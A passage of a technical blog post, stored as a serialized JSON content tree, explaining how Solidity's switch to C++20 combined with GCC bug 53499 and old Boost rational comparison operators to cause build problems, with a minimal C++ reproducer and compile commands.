1.67",{"type":24,"tag":1790,"props":91443,"children":91444},{},[91445],{"type":29,"value":91446},"GCC ≥ 11",{"type":24,"tag":25,"props":91448,"children":91449},{},[91450],{"type":29,"value":91451},"Ubuntu 22.04, for example, ships with:",{"type":24,"tag":17924,"props":91453,"children":91454},{},[91455,91460],{"type":24,"tag":1790,"props":91456,"children":91457},{},[91458],{"type":29,"value":91459},"G++ 11.4.0",{"type":24,"tag":1790,"props":91461,"children":91462},{},[91463],{"type":29,"value":91464},"Boost 1.74.0",{"type":24,"tag":25,"props":91466,"children":91467},{},[91468],{"type":29,"value":91469},"So far, so good.",{"type":24,"tag":25,"props":91471,"children":91472},{},[91473,91475,91480],{"type":29,"value":91474},"However, Solidity enabled ",{"type":24,"tag":897,"props":91476,"children":91477},{},[91478],{"type":29,"value":91479},"C++20",{"type":29,"value":91481}," in January 2025:",{"type":24,"tag":4606,"props":91483,"children":91484},{},[91485],{"type":24,"tag":25,"props":91486,"children":91487},{},[91488],{"type":24,"tag":101,"props":91489,"children":91492},{"href":91490,"rel":91491},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[105],[91493],{"type":29,"value":91494},"Enable C++20 in Solidity",{"type":24,"tag":25,"props":91496,"children":91497},{},[91498],{"type":29,"value":91499},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":24,"tag":20034,"props":91501,"children":91502},{},[],{"type":24,"tag":59,"props":91504,"children":91506},{"id":91505},"part-i-a-12-year-old-g-bug-in-overload-resolution",[91507],{"type":29,"value":91508},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":24,"tag":395,"props":91510,"children":91512},{"id":91511},"whats-overload-resolution",[91513],{"type":29,"value":91514},"What’s Overload Resolution?",{"type":24,"tag":25,"props":91516,"children":91517},{},[91518,91520,91526,91528,91534,91536,91541,91543,91548,91550,91556,91558,91563,91564,91570],{"type":29,"value":91519},"In C++, when you write an expression like ",{"type":24,"tag":154,"props":91521,"children":91523},{"className":91522},[],[91524],{"type":29,"value":91525},"a == b",{"type":29,"value":91527},", the compiler chooses among available ",{"type":24,"tag":154,"props":91529,"children":91531},{"className":91530},[],[91532],{"type":29,"value":91533},"operator==",{"type":29,"value":91535}," implementations by comparing their ",{"type":24,"tag":897,"props":91537,"children":91538},{},[91539],{"type":29,"value":91540},"match quality",{"type":29,"value":91542},". A ",{"type":24,"tag":897,"props":91544,"children":91545},{},[91546],{"type":29,"value":91547},"member function",{"type":29,"value":91549}," like ",{"type":24,"tag":154,"props":91551,"children":91553},{"className":91552},[],[91554],{"type":29,"value":91555},"a.operator==(b)",{"type":29,"value":91557}," usually has higher priority than a ",{"type":24,"tag":897,"props":91559,"children":91560},{},[91561],{"type":29,"value":91562},"non-member function",{"type":29,"value":91549},{"type":24,"tag":154,"props":91565,"children":91567},{"className":91566},[],[91568],{"type":29,"value":91569},"operator==(a, b)",{"type":29,"value":91571}," — unless the types differ too much or are ambiguous.",{"type":24,"tag":25,"props":91573,"children":91574},{},[91575],{"type":29,"value":91576},"That’s the rule. But G++ didn’t always follow it.",{"type":24,"tag":395,"props":91578,"children":91580},{"id":91579},"the-bug",[91581],{"type":29,"value":91582},"The Bug",{"type":24,"tag":25,"props":91584,"children":91585},{},[91586,91588,91595],{"type":29,"value":91587},"In 2012, a bug was filed: ",{"type":24,"tag":101,"props":91589,"children":91592},{"href":91590,"rel":91591},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[105],[91593],{"type":29,"value":91594},"GCC Bug 53499 – overload resolution favors non-member function",{"type":29,"value":91596},". The issue? In expressions where:",{"type":24,"tag":17924,"props":91598,"children":91599},{},[91600,91620],{"type":24,"tag":1790,"props":91601,"children":91602},{},[91603,91605,91611,91613,91618],{"type":29,"value":91604},"A class ",{"type":24,"tag":154,"props":91606,"children":91608},{"className":91607},[],[91609],{"type":29,"value":91610},"rational\u003CT>",{"type":29,"value":91612}," has a templated ",{"type":24,"tag":154,"props":91614,"children":91616},{"className":91615},[],[91617],{"type":29,"value":91533},{"type":29,"value":91619}," member function",{"type":24,"tag":1790,"props":91621,"children":91622},{},[91623,91625,91631],{"type":29,"value":91624},"There's also a more generic free ",{"type":24,"tag":154,"props":91626,"children":91628},{"className":91627},[],[91629],{"type":29,"value":91630},"operator==(rational\u003CT>, U)",{"type":29,"value":39478},{"type":24,"tag":25,"props":91633,"children":91634},{},[91635],{"type":24,"tag":897,"props":91636,"children":91637},{},[91638],{"type":29,"value":91639},"Clang correctly chooses the member function.",{"type":24,"tag":25,"props":91641,"children":91642},{},[91643],{"type":24,"tag":897,"props":91644,"children":91645},{},[91646],{"type":29,"value":91647},"G++ (before v14) chooses the non-member function.",{"type":24,"tag":25,"props":91649,"children":91650},{},[91651,91653,91658,91660,91667],{"type":29,"value":91652},"Why? Because G++ mishandles ",{"type":24,"tag":897,"props":91654,"children":91655},{},[91656],{"type":29,"value":91657},"templated conversion + non-exact match",{"type":29,"value":91659},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":24,"tag":101,"props":91661,"children":91664},{"href":91662,"rel":91663},"https://cplusplus.github.io/CWG/issues/532.html",[105],[91665],{"type":29,"value":91666},"CWG532: Member/nonmember operator template partial ordering",{"type":29,"value":347},{"type":24,"tag":395,"props":91669,"children":91671},{"id":91670},"a-minimal-reproducer",[91672],{"type":29,"value":91673},"A Minimal Reproducer",{"type":24,"tag":25,"props":91675,"children":91676},{},[91677],{"type":29,"value":91678},"Let’s see this in action:",{"type":24,"tag":147,"props":91680,"children":91682},{"code":91681,"language":30371,"meta":7,"className":30369,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n template \u003Cclass T>\n bool operator==(const T& i) const {\n std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n return true;\n }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n return false;\n}\n\nint main() {\n rational\u003Cint> r;\n return r == 0;\n}\n",[91683],{"type":24,"tag":154,"props":91684,"children":91685},{"__ignoreMap":7},[91686,91699,91706,91731,91747,91755,91779,91824,91852,91867,91874,91881,91888,91924,91993,92018,92033,92040,92047,92063,92088,92112],{"type":24,"tag":158,"props":91687,"children":91688},{"class":160,"line":161},[91689,91694],{"type":24,"tag":158,"props":91690,"children":91691},{"style":1914},[91692],{"type":29,"value":91693},"#include",{"type":24,"tag":158,"props":91695,"children":91696},{"style":1108},[91697],{"type":29,"value":91698}," \u003Ciostream>\n",{"type":24,"tag":158,"props":91700,"children":91701},{"class":160,"line":213},[91702],{"type":24,"tag":158,"props":91703,"children":91704},{"emptyLinePlaceholder":16},[91705],{"type":29,"value":481},{"type":24,"tag":158,"props":91707,"children":91708},{"class":160,"line":238},[91709,91713,91717,91722,91727],{"type":24,"tag":158,"props":91710,"children":91711},{"style":165},[91712],{"type":29,"value":67491},{"type":24,"tag":158,"props":91714,"children":91715},{"style":188},[91716],{"type":29,"value":2116},{"type":24,"tag":158,"props":91718,"children":91719},{"style":165},[91720],{"type":29,"value":91721},"typename",{"type":24,"tag":158,"props":91723,"children":91724},{"style":171},[91725],{"type":29,"value":91726}," IntType",{"type":24,"tag":158,"props":91728,"children":91729},{"style":188},[91730],{"type":29,"value":7642},{"type":24,"tag":158,"props":91732,"children":91733},{"class":160,"line":259},[91734,91738,91743],{"type":24,"tag":158,"props":91735,"children":91736},{"style":165},[91737],{"type":29,"value":71686},{"type":24,"tag":158,"props":91739,"children":91740},{"style":171},[91741],{"type":29,"value":91742}," rational",{"type":24,"tag":158,"props":91744,"children":91745},{"style":188},[91746],{"type":29,"value":210},{"type":24,"tag":158,"props":91748,"children":91749},{"class":160,"line":280},[91750],{"type":24,"tag":158,"props":91751,"children":91752},{"style":165},[91753],{"type":29,"value":91754},"public:\n",{"type":24,"tag":158,"props":91756,"children":91757},{"class":160,"line":301},[91758,91763,91767,91771,91775],{"type":24,"tag":158,"props":91759,"children":91760},{"style":165},[91761],{"type":29,"value":91762}," template",{"type":24,"tag":158,"props":91764,"children":91765},{"style":188},[91766],{"type":29,"value":2116},{"type":24,"tag":158,"props":91768,"children":91769},{"style":165},[91770],{"type":29,"value":71686},{"type":24,"tag":158,"props":91772,"children":91773},{"style":171},[91774],{"type":29,"value":7569},{"type":24,"tag":158,"props":91776,"children":91777},{"style":188},[91778],{"type":29,"value":7642},{"type":24,"tag":158,"props":91780,"children":91781},{"class":160,"line":626},[91782,91786,91791,91796,91800,91804,91808,91812,91816,91820],{"type":24,"tag":158,"props":91783,"children":91784},{"style":165},[91785],{"type":29,"value":47743},{"type":24,"tag":158,"props":91787,"children":91788},{"style":165},[91789],{"type":29,"value":91790}," operator",{"type":24,"tag":158,"props":91792,"children":91793},{"style":188},[91794],{"type":29,"value":91795},"==(",{"type":24,"tag":158,"props":91797,"children":91798},{"style":165},[91799],{"type":29,"value":443},{"type":24,"tag":158,"props":91801,"children":91802},{"style":171},[91803],{"type":29,"value":7569},{"type":24,"tag":158,"props":91805,"children":91806},{"style":165},[91807],{"type":29,"value":2212},{"type":24,"tag":158,"props":91809,"children":91810},{"style":177},[91811],{"type":29,"value":1969},{"type":24,"tag":158,"props":91813,"children":91814},{"style":188},[91815],{"type":29,"value":723},{"type":24,"tag":158,"props":91817,"children":91818},{"style":165},[91819],{"type":29,"value":443},{"type":24,"tag":158,"props":91821,"children":91822},{"style":188},[91823],{"type":29,"value":210},{"type":24,"tag":158,"props":91825,"children":91826},{"class":160,"line":668},[91827,91832,91837,91842,91847],{"type":24,"tag":158,"props":91828,"children":91829},{"style":188},[91830],{"type":29,"value":91831}," std::cout ",{"type":24,"tag":158,"props":91833,"children":91834},{"style":222},[91835],{"type":29,"value":91836},"\u003C\u003C",{"type":24,"tag":158,"props":91838,"children":91839},{"style":1108},[91840],{"type":29,"value":91841}," \"clang++ resolved member\"",{"type":24,"tag":158,"props":91843,"children":91844},{"style":222},[91845],{"type":29,"value":91846}," \u003C\u003C",{"type":24,"tag":158,"props":91848,"children":91849},{"style":188},[91850],{"type":29,"value":91851}," std::endl;\n",{"type":24,"tag":158,"props":91853,"children":91854},{"class":160,"line":676},[91855,91859,91863],{"type":24,"tag":158,"props":91856,"children":91857},{"style":1914},[91858],{"type":29,"value":16980},{"type":24,"tag":158,"props":91860,"children":91861},{"style":165},[91862],{"type":29,"value":3354},{"type":24,"tag":158,"props":91864,"children":91865},{"style":188},[91866],{"type":29,"value":473},{"type":24,"tag":158,"props":91868,"children":91869},{"class":160,"line":684},[91870],{"type":24,"tag":158,"props":91871,"children":91872},{"style":188},[91873],{"type":29,"value":3967},{"type":24,"tag":158,"props":91875,"children":91876},{"class":160,"line":700},[91877],{"type":24,"tag":158,"props":91878,"children":91879},{"style":188},[91880],{"type":29,"value":17814},{"type":24,"tag":158,"props":91882,"children":91883},{"class":160,"line":785},[91884],{"type":24,"tag":158,"props":91885,"children":91886},{"emptyLinePlaceholder":16},[91887],{"type":29,"value":481},{"type":24,"tag":158,"props":91889,"children":91890},{"class":160,"line":1447},[91891,91895,91899,91903,91908,91912,91916,91920],{"type":24,"tag":158,"props":91892,"children":91893},{"style":165},[91894],{"type":29,"value":67491},{"type":24,"tag":158,"props":91896,"children":91897},{"style":188},[91898],{"type":29,"value":2116},{"type":24,"tag":158,"props":91900,"children":91901},{"style":165},[91902],{"type":29,"value":71686},{"type":24,"tag":158,"props":91904,"children":91905},{"style":171},[91906],{"type":29,"value":91907}," Arg",{"type":24,"tag":158,"props":91909,"children":91910},{"style":188},[91911],{"type":29,"value":191},{"type":24,"tag":158,"props":91913,"children":91914},{"style":165},[91915],{"type":29,"value":71686},{"type":24,"tag":158,"props":91917,"children":91918},{"style":171},[91919],{"type":29,"value":91726},{"type":24,"tag":158,"props":91921,"children":91922},{"style":188},[91923],{"type":29,"value":7642},{"type":24,"tag":158,"props":91925,"children":91926},{"class":160,"line":1509},[91927,91931,91935,91939,91943,91947,91951,91956,91960,91964,91968,91972,91976,91980,91984,91989],{"type":24,"tag":158,"props":91928,"children":91929},{"style":165},[91930],{"type":29,"value":30945},{"type":24,"tag":158,"props":91932,"children":91933},{"style":165},[91934],{"type":29,"value":91790},{"type":24,"tag":158,"props":91936,"children":91937},{"style":188},[91938],{"type":29,"value":91795},{"type":24,"tag":158,"props":91940,"children":91941},{"style":165},[91942],{"type":29,"value":443},{"type":24,"tag":158,"props":91944,"children":91945},{"style":171},[91946],{"type":29,"value":91742},{"type":24,"tag":158,"props":91948,"children":91949},{"style":188},[91950],{"type":29,"value":3760},{"type":24,"tag":158,"props":91952,"children":91953},{"style":171},[91954],{"type":29,"value":91955},"IntType",{"type":24,"tag":158,"props":91957,"children":91958},{"style":188},[91959],{"type":29,"value":1280},{"type":24,"tag":158,"props":91961,"children":91962},{"style":165},[91963],{"type":29,"value":2212},{"type":24,"tag":158,"props":91965,"children":91966},{"style":177},[91967],{"type":29,"value":91114},{"type":24,"tag":158,"props":91969,"children":91970},{"style":188},[91971],{"type":29,"value":191},{"type":24,"tag":158,"props":91973,"children":91974},{"style":165},[91975],{"type":29,"value":443},{"type":24,"tag":158,"props":91977,"children":91978},{"style":171},[91979],{"type":29,"value":91907},{"type":24,"tag":158,"props":91981,"children":91982},{"style":165},[91983],{"type":29,"value":2212},{"type":24,"tag":158,"props":91985,"children":91986},{"style":177},[91987],{"type":29,"value":91988}," b",{"type":24,"tag":158,"props":91990,"children":91991},{"style":188},[91992],{"type":29,"value":16038},{"type":24,"tag":158,"props":91994,"children":91995},{"class":160,"line":1527},[91996,92001,92005,92010,92014],{"type":24,"tag":158,"props":91997,"children":91998},{"style":188},[91999],{"type":29,"value":92000}," std::cout ",{"type":24,"tag":158,"props":92002,"children":92003},{"style":222},[92004],{"type":29,"value":91836},{"type":24,"tag":158,"props":92006,"children":92007},{"style":1108},[92008],{"type":29,"value":92009}," \"g++ \u003C14 resolved non-member\"",{"type":24,"tag":158,"props":92011,"children":92012},{"style":222},[92013],{"type":29,"value":91846},{"type":24,"tag":158,"props":92015,"children":92016},{"style":188},[92017],{"type":29,"value":91851},{"type":24,"tag":158,"props":92019,"children":92020},{"class":160,"line":1545},[92021,92025,92029],{"type":24,"tag":158,"props":92022,"children":92023},{"style":1914},[92024],{"type":29,"value":18227},{"type":24,"tag":158,"props":92026,"children":92027},{"style":165},[92028],{"type":29,"value":859},{"type":24,"tag":158,"props":92030,"children":92031},{"style":188},[92032],{"type":29,"value":473},{"type":24,"tag":158,"props":92034,"children":92035},{"class":160,"line":1618},[92036],{"type":24,"tag":158,"props":92037,"children":92038},{"style":188},[92039],{"type":29,"value":307},{"type":24,"tag":158,"props":92041,"children":92042},{"class":160,"line":1635},[92043],{"type":24,"tag":158,"props":92044,"children":92045},{"emptyLinePlaceholder":16},[92046],{"type":29,"value":481},{"type":24,"tag":158,"props":92048,"children":92049},{"class":160,"line":1644},[92050,92054,92059],{"type":24,"tag":158,"props":92051,"children":92052},{"style":165},[92053],{"type":29,"value":20289},{"type":24,"tag":158,"props":92055,"children":92056},{"style":496},[92057],{"type":29,"value":92058}," main",{"type":24,"tag":158,"props":92060,"children":92061},{"style":188},[92062],{"type":29,"value":16972},{"type":24,"tag":158,"props":92064,"children":92065},{"class":160,"line":1652},[92066,92071,92075,92079,92083],{"type":24,"tag":158,"props":92067,"children":92068},{"style":188},[92069],{"type":29,"value":92070}," rational",{"type":24,"tag":158,"props":92072,"children":92073},{"style":222},[92074],{"type":29,"value":3760},{"type":24,"tag":158,"props":92076,"children":92077},{"style":165},[92078],{"type":29,"value":20289},{"type":24,"tag":158,"props":92080,"children":92081},{"style":222},[92082],{"type":29,"value":1280},{"type":24,"tag":158,"props":92084,"children":92085},{"style":188},[92086],{"type":29,"value":92087}," r;\n",{"type":24,"tag":158,"props":92089,"children":92090},{"class":160,"line":1704},[92091,92095,92100,92104,92108],{"type":24,"tag":158,"props":92092,"children":92093},{"style":1914},[92094],{"type":29,"value":18227},{"type":24,"tag":158,"props":92096,"children":92097},{"style":188},[92098],{"type":29,"value":92099}," r ",{"type":24,"tag":158,"props":92101,"children":92102},{"style":222},[92103],{"type":29,"value":1034},{"type":24,"tag":158,"props":92105,"children":92106},{"style":465},[92107],{"type":29,"value":2025},{"type":24,"tag":158,"props":92109,"children":92110},{"style":188},[92111],{"type":29,"value":473},{"type":24,"tag":158,"props":92113,"children":92114},{"class":160,"line":1713},[92115],{"type":24,"tag":158,"props":92116,"children":92117},{"style":188},[92118],{"type":29,"value":307},{"type":24,"tag":17924,"props":92120,"children":92121},{},[92122],{"type":24,"tag":1790,"props":92123,"children":92124},{},[92125],{"type":29,"value":92126},"Compile with g++\u003C14:",{"type":24,"tag":147,"props":92128,"children":92130},{"code":92129,"language":1092,"meta":7,"className":1093,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[92131],{"type":24,"tag":154,"props":92132,"children":92133},{"__ignoreMap":7},[92134],{"type":24,"tag":158,"props":92135,"children":92136},{"class":160,"line":161},[92137,92142,92147,92152,92157,92161,92166],{"type":24,"tag":158,"props":92138,"children":92139},{"style":496},[92140],{"type":29,"value":92141},"g++",{"type":24,"tag":158,"props":92143,"children":92144},{"style":1108},[92145],{"type":29,"value":92146}," -std=c++17",{"type":24,"tag":158,"props":92148,"children":92149},{"style":1108},[92150],{"type":29,"value":92151}," main.cpp",{"type":24,"tag":158,"props":92153,"children":92154},{"style":1108},[92155],{"type":29,"value":92156}," -o",{"type":24,"tag":158,"props":92158,"children":92159},{"style":1108},[92160],{"type":29,"value":31938},{"type":24,"tag":158,"props":92162,"children":92163},{"style":188},[92164],{"type":29,"value":92165}," && ",{"type":24,"tag":158,"props":92167,"children":92168},{"style":496},[92169],{"type":29,"value":92170},"./test\n",{"type":24,"tag":25,"props":92172,"children":92173},{},[92174],{"type":29,"value":92175},"Output (on g++ 11.4):",{"type":24,"tag":147,"props":92177,"children":92179},{"code":92178},"g++ \u003C14 resolved non-member\n",[92180],{"type":24,"tag":154,"props":92181,"children":92182},{"__ignoreMap":7},[92183],{"type":29,"value":92178},{"type":24,"tag":17924,"props":92185,"children":92186},{},[92187],{"type":24,"tag":1790,"props":92188,"children":92189},{},[92190],{"type":29,"value":92191},"Compile with clang++:",{"type":24,"tag":147,"props":92193,"children":92195},{"code":92194,"language":1092,"meta":7,"className":1093,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[92196],{"type":24,"tag":154,"props":92197,"children":92198},{"__ignoreMap":7},[92199],{"type":24,"tag":158,"props":92200,"children":92201},{"class":160,"line":161},[92202,92207,92211,92215,92219,92223,92227],{"type":24,"tag":158,"props":92203,"children":92204},{"style":496},[92205],{"type":29,"value":92206},"clang++",{"type":24,"tag":158,"props":92208,"children":92209},{"style":1108},[92210],{"type":29,"value":92146},{"type":24,"tag":158,"props":92212,"children":92213},{"style":1108},[92214],{"type":29,"value":92151},{"type":24,"tag":158,"props":92216,"children":92217},{"style":1108},[92218],{"type":29,"value":92156},{"type":24,"tag":158,"props":92220,"children":92221},{"style":1108},[92222],{"type":29,"value":31938},{"type":24,"tag":158,"props":92224,"children":92225},{"style":188},[92226],{"type":29,"value":92165},{"type":24,"tag":158,"props":92228,"children":92229},{"style":496},[92230],{"type":29,"value":92170},{"type":24,"tag":25,"props":92232,"children":92233},{},[92234],{"type":29,"value":92235},"Output:",{"type":24,"tag":147,"props":92237,"children":92239},{"code":92238},"clang++ resolved member\n",[92240],{"type":24,"tag":154,"props":92241,"children":92242},{"__ignoreMap":7},[92243],{"type":29,"value":92238},{"type":24,"tag":25,"props":92245,"children":92246},{},[92247],{"type":29,"value":92248},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":24,"tag":20034,"props":92250,"children":92251},{},[],{"type":24,"tag":59,"props":92253,"children":92255},{"id":92254},"part-ii-c20s-symmetric-comparison-feature",[92256],{"type":29,"value":92257},"Part II: C++20’s Symmetric Comparison Feature",{"type":24,"tag":395,"props":92259,"children":92261},{"id":92260},"what-changed-in-c20",[92262],{"type":29,"value":92263},"What Changed in C++20?",{"type":24,"tag":25,"props":92265,"children":92266},{},[92267,92269,92282,92283,92288],{"type":29,"value":92268},"C++20 introduced the ",{"type":24,"tag":101,"props":92270,"children":92273},{"href":92271,"rel":92272},"https://en.cppreference.com/w/cpp/language/operator_comparison",[105],[92274,92276],{"type":29,"value":92275},"spaceship operator ",{"type":24,"tag":154,"props":92277,"children":92279},{"className":92278},[],[92280],{"type":29,"value":92281},"\u003C=>",{"type":29,"value":1826},{"type":24,"tag":897,"props":92284,"children":92285},{},[92286],{"type":29,"value":92287},"defaulted comparison rewrites",{"type":29,"value":347},{"type":24,"tag":25,"props":92290,"children":92291},{},[92292,92294,92299],{"type":29,"value":92293},"When you define a two-argument ",{"type":24,"tag":154,"props":92295,"children":92297},{"className":92296},[],[92298],{"type":29,"value":91533},{"type":29,"value":92300},", C++20 may implicitly define the \"reversed\" version:",{"type":24,"tag":17924,"props":92302,"children":92303},{},[92304,92315],{"type":24,"tag":1790,"props":92305,"children":92306},{},[92307,92309],{"type":29,"value":92308},"If you define: ",{"type":24,"tag":154,"props":92310,"children":92312},{"className":92311},[],[92313],{"type":29,"value":92314},"bool operator==(T1, T2);",{"type":24,"tag":1790,"props":92316,"children":92317},{},[92318,92320,92326],{"type":29,"value":92319},"Then ",{"type":24,"tag":154,"props":92321,"children":92323},{"className":92322},[],[92324],{"type":29,"value":92325},"T2 == T1",{"type":29,"value":92327}," may call the same function by reversing the arguments.",{"type":24,"tag":25,"props":92329,"children":92330},{},[92331,92333,92338,92339,92344,92346,92352,92354,92359],{"type":29,"value":92332},"This rewrite is ",{"type":24,"tag":897,"props":92334,"children":92335},{},[92336],{"type":29,"value":92337},"recursive",{"type":29,"value":16566},{"type":24,"tag":154,"props":92340,"children":92342},{"className":92341},[],[92343],{"type":29,"value":91525},{"type":29,"value":92345}," becomes ",{"type":24,"tag":154,"props":92347,"children":92349},{"className":92348},[],[92350],{"type":29,"value":92351},"b == a",{"type":29,"value":92353},", which becomes ",{"type":24,"tag":154,"props":92355,"children":92357},{"className":92356},[],[92358],{"type":29,"value":91525},{"type":29,"value":92360}," again, and so on — if not handled carefully.",{"type":24,"tag":25,"props":92362,"children":92363},{},[92364],{"type":29,"value":92365},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":24,"tag":20034,"props":92367,"children":92368},{},[],{"type":24,"tag":59,"props":92370,"children":92372},{"id":92371},"part-iii-the-boost-trapdoor",[92373],{"type":29,"value":92374},"Part III: The Boost Trapdoor",{"type":24,"tag":25,"props":92376,"children":92377},{},[92378,92380,92386,92388,92393],{"type":29,"value":92379},"The old Boost ",{"type":24,"tag":154,"props":92381,"children":92383},{"className":92382},[],[92384],{"type":29,"value":92385},"rational",{"type":29,"value":92387}," class (prior to v1.75) defined both member function and non-member function of ",{"type":24,"tag":154,"props":92389,"children":92391},{"className":92390},[],[92392],{"type":29,"value":91533},{"type":29,"value":225},{"type":24,"tag":147,"props":92395,"children":92397},{"code":92396,"language":30371,"meta":7,"className":30369,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n ...\npublic:\n ...\n \n template \u003Cclass T>\n BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n {\n return ((den == IntType(1)) && (num == i));\n }\n ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n return a == b; \n}\n",[92398],{"type":24,"tag":154,"props":92399,"children":92400},{"__ignoreMap":7},[92401,92436,92459,92471,92478,92485,92492,92499,92506,92529,92617,92624,92675,92682,92689,92696,92703,92738,92746,92774,92813,92878,92885,92905],{"type":24,"tag":158,"props":92402,"children":92403},{"class":160,"line":161},[92404,92408,92412,92416,92420,92424,92428,92432],{"type":24,"tag":158,"props":92405,"children":92406},{"style":165},[92407],{"type":29,"value":67491},{"type":24,"tag":158,"props":92409,"children":92410},{"style":188},[92411],{"type":29,"value":2116},{"type":24,"tag":158,"props":92413,"children":92414},{"style":165},[92415],{"type":29,"value":71686},{"type":24,"tag":158,"props":92417,"children":92418},{"style":171},[92419],{"type":29,"value":91907},{"type":24,"tag":158,"props":92421,"children":92422},{"style":188},[92423],{"type":29,"value":191},{"type":24,"tag":158,"props":92425,"children":92426},{"style":165},[92427],{"type":29,"value":71686},{"type":24,"tag":158,"props":92429,"children":92430},{"style":171},[92431],{"type":29,"value":91726},{"type":24,"tag":158,"props":92433,"children":92434},{"style":188},[92435],{"type":29,"value":7642},{"type":24,"tag":158,"props":92437,"children":92438},{"class":160,"line":213},[92439,92443,92447,92451,92455],{"type":24,"tag":158,"props":92440,"children":92441},{"style":165},[92442],{"type":29,"value":67491},{"type":24,"tag":158,"props":92444,"children":92445},{"style":188},[92446],{"type":29,"value":2116},{"type":24,"tag":158,"props":92448,"children":92449},{"style":165},[92450],{"type":29,"value":91721},{"type":24,"tag":158,"props":92452,"children":92453},{"style":171},[92454],{"type":29,"value":91726},{"type":24,"tag":158,"props":92456,"children":92457},{"style":188},[92458],{"type":29,"value":7642},{"type":24,"tag":158,"props":92460,"children":92461},{"class":160,"line":238},[92462,92466],{"type":24,"tag":158,"props":92463,"children":92464},{"style":165},[92465],{"type":29,"value":71686},{"type":24,"tag":158,"props":92467,"children":92468},{"style":171},[92469],{"type":29,"value":92470}," rational\n",{"type":24,"tag":158,"props":92472,"children":92473},{"class":160,"line":259},[92474],{"type":24,"tag":158,"props":92475,"children":92476},{"style":188},[92477],{"type":29,"value":1710},{"type":24,"tag":158,"props":92479,"children":92480},{"class":160,"line":280},[92481],{"type":24,"tag":158,"props":92482,"children":92483},{"style":188},[92484],{"type":29,"value":21583},{"type":24,"tag":158,"props":92486,"children":92487},{"class":160,"line":301},[92488],{"type":24,"tag":158,"props":92489,"children":92490},{"style":165},[92491],{"type":29,"value":91754},{"type":24,"tag":158,"props":92493,"children":92494},{"class":160,"line":626},[92495],{"type":24,"tag":158,"props":92496,"children":92497},{"style":188},[92498],{"type":29,"value":21583},{"type":24,"tag":158,"props":92500,"children":92501},{"class":160,"line":668},[92502],{"type":24,"tag":158,"props":92503,"children":92504},{"style":188},[92505],{"type":29,"value":63060},{"type":24,"tag":158,"props":92507,"children":92508},{"class":160,"line":676},[92509,92513,92517,92521,92525],{"type":24,"tag":158,"props":92510,"children":92511},{"style":165},[92512],{"type":29,"value":91762},{"type":24,"tag":158,"props":92514,"children":92515},{"style":188},[92516],{"type":29,"value":2116},{"type":24,"tag":158,"props":92518,"children":92519},{"style":165},[92520],{"type":29,"value":71686},{"type":24,"tag":158,"props":92522,"children":92523},{"style":171},[92524],{"type":29,"value":7569},{"type":24,"tag":158,"props":92526,"children":92527},{"style":188},[92528],{"type":29,"value":7642},{"type":24,"tag":158,"props":92530,"children":92531},{"class":160,"line":684},[92532,92537,92541,92546,92550,92554,92558,92563,92567,92571,92575,92579,92583,92587,92592,92596,92600,92604,92608,92612],{"type":24,"tag":158,"props":92533,"children":92534},{"style":188},[92535],{"type":29,"value":92536}," BOOST_CONSTEXPR ",{"type":24,"tag":158,"props":92538,"children":92539},{"style":165},[92540],{"type":29,"value":91721},{"type":24,"tag":158,"props":92542,"children":92543},{"style":188},[92544],{"type":29,"value":92545}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":24,"tag":158,"props":92547,"children":92548},{"style":171},[92549],{"type":29,"value":7637},{"type":24,"tag":158,"props":92551,"children":92552},{"style":188},[92553],{"type":29,"value":191},{"type":24,"tag":158,"props":92555,"children":92556},{"style":171},[92557],{"type":29,"value":91955},{"type":24,"tag":158,"props":92559,"children":92560},{"style":188},[92561],{"type":29,"value":92562},">::",{"type":24,"tag":158,"props":92564,"children":92565},{"style":171},[92566],{"type":29,"value":40416},{"type":24,"tag":158,"props":92568,"children":92569},{"style":188},[92570],{"type":29,"value":191},{"type":24,"tag":158,"props":92572,"children":92573},{"style":165},[92574],{"type":29,"value":30945},{"type":24,"tag":158,"props":92576,"children":92577},{"style":188},[92578],{"type":29,"value":92562},{"type":24,"tag":158,"props":92580,"children":92581},{"style":171},[92582],{"type":29,"value":34018},{"type":24,"tag":158,"props":92584,"children":92585},{"style":165},[92586],{"type":29,"value":91790},{"type":24,"tag":158,"props":92588,"children":92589},{"style":188},[92590],{"type":29,"value":92591},"== (",{"type":24,"tag":158,"props":92593,"children":92594},{"style":165},[92595],{"type":29,"value":443},{"type":24,"tag":158,"props":92597,"children":92598},{"style":171},[92599],{"type":29,"value":7569},{"type":24,"tag":158,"props":92601,"children":92602},{"style":165},[92603],{"type":29,"value":2212},{"type":24,"tag":158,"props":92605,"children":92606},{"style":177},[92607],{"type":29,"value":1969},{"type":24,"tag":158,"props":92609,"children":92610},{"style":188},[92611],{"type":29,"value":723},{"type":24,"tag":158,"props":92613,"children":92614},{"style":165},[92615],{"type":29,"value":92616},"const\n",{"type":24,"tag":158,"props":92618,"children":92619},{"class":160,"line":700},[92620],{"type":24,"tag":158,"props":92621,"children":92622},{"style":188},[92623],{"type":29,"value":30446},{"type":24,"tag":158,"props":92625,"children":92626},{"class":160,"line":785},[92627,92632,92637,92641,92645,92649,92653,92657,92661,92666,92670],{"type":24,"tag":158,"props":92628,"children":92629},{"style":1914},[92630],{"type":29,"value":9263